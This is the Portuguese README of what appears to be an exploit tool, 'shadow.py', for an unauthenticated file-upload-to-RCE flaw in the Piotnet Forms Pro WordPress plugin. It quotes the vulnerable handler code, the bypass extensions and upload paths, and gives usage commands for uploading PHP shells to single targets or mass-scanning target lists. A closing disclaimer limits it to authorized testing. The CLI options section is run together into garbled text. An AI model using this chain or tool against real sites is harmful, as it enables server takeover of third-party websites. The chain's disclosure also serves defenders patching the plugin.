
Piotnet Forms Pro <= 2.1.40 - Upload de Arquivo Arbitrário Não Autenticado → RCE
A vulnerabilidade decorre de validação inadequada de tipo de arquivo na função piotnetforms_ajax_form_builder. O plugin emprega uma lista negra de extensões incompleta que bloqueia apenas php, phpt, php5, php7 e exe, enquanto permite alternativas perigosas como .phtml ou .phar.
O manipulador AJAX é registrado sem nenhum requisito de autenticação:
// inc/forms/ajax-form-builder.php:9-10
add_action( 'wp_ajax_piotnetforms_ajax_form_builder', 'piotnetforms_ajax_form_builder' );
add_action( 'wp_ajax_nopriv_piotnetforms_ajax_form_builder', 'piotnetforms_ajax_form_builder' );
A validação de arquivo depende exclusivamente de uma lista negra de extensões incompleta, sem verificação de tipo MIME ou bytes mágicos:
// inc/forms/ajax-form-builder.php:678-688
$not_allowed_extensions = [ 'php', 'phpt', 'php5', 'php7', 'exe' ];
$file_extension = pathinfo( $file_name_san, PATHINFO_EXTENSION );
if ( in_array( strtolower( $file_extension ), $not_allowed_extensions ) ) {
wp_die();
}
// .phar, .phtml, .php8, .pht, etc. all pass through freely
move_uploaded_file( $file['tmp_name'][$i], $new_file );
O diretório de upload contém apenas um index.html vazio para evitar listagem de diretórios — nenhum .htaccess para bloquear a execução de PHP. Os arquivos carregados ficam publicamente acessíveis em:
/wp-content/uploads/piotnetforms/files/{filename}-{uniqid}.{ext}
A URL do arquivo pode ser recuperada sem autenticação por meio da ação AJAX piotnetforms_export_form_submission (também nopriv), completando a cadeia completa de RCE não autenticada.
Este é o mesmo bug de copiar e colar presente em CVE-2026-4885 — ambos os plugins compartilham código idêntico e vulnerável de manipulação de upload do mesmo desenvolvedor.
Modo Interativo:
python3 shadow.py
Alvo Único:
python3 shadow.py -u https://target.com
python3 shadow.py -u https://target.com -s shadow.phtml
Varredura em Massa:
python3 shadow.py -f targets.txt -t 20
python3 shadow.py -f targets.txt -t 20 -s shadow.phtml
Opções de CLI:
-u, --url - URL do alvo-f, --file - Arquivo de alvos (um por linha)-s, --shell - Shell PHP personalizado (GIF89a pré-anexado automaticamente)-t, --threads - Threads simultâneas (padrão: 5)-h, --help - Exibição de ajudapiotnetforms_export_form_submission (não autenticado)shell.txt.php .phpt .php5 .php7 .exe
Extensões de bypass: .phtml .phar .shtml .php8
pip install httpx
A ferramenta destina-se exclusivamente a testes de segurança autorizados e fins educacionais. Testes não autorizados em sistemas são proibidos.